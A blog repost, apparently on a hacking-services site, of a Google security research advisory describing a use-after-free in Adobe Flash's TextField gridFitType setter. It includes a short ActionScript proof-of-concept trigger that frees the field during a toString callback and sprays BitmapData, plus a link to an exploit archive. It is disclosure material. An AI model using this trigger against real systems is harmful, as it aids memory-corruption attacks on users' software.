Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86396070

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=418&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in the TextField gridFitType setter. A PoC is below:

var test = this.createTextField("test", 1, 0, 0, 100, 100);
var n = {toString : func, valueOf : func};
test.gridFitType = n;

function func(){
	
	test.removeTextField();
	for(var i = 0; i < 1000; i++){
		var b = new flash.display.BitmapData(1000, 1000, true, 10);
		}
	trace("here");
	return "natalie";
	
	}

A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are also impacted by the same UaF condition, additional SWFs are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37877.zip